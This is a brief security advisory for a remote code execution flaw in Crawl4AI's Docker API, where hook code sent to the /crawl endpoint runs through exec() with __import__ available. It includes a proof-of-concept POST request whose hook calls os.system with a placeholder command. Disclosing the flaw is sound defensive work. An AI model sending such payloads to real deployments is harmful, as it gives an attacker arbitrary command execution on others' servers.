CVE-2026-26216: Crawl4AI is Vulnerable to Remote Code Execution in Docker API via Hooks Parameter

A critical remote code execution vulnerability exists in the Crawl4AI Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing attackers to import arbitrary modules and execute system commands.

Attack Vector:

POST /crawl
{
"urls": ["https://example.com"],
"hooks": {
"code": {
"on_page_context_created": "async def hook(page, context, **kwargs):\n    __import__('os').system('malicious_command')\n    return page"
}
}
}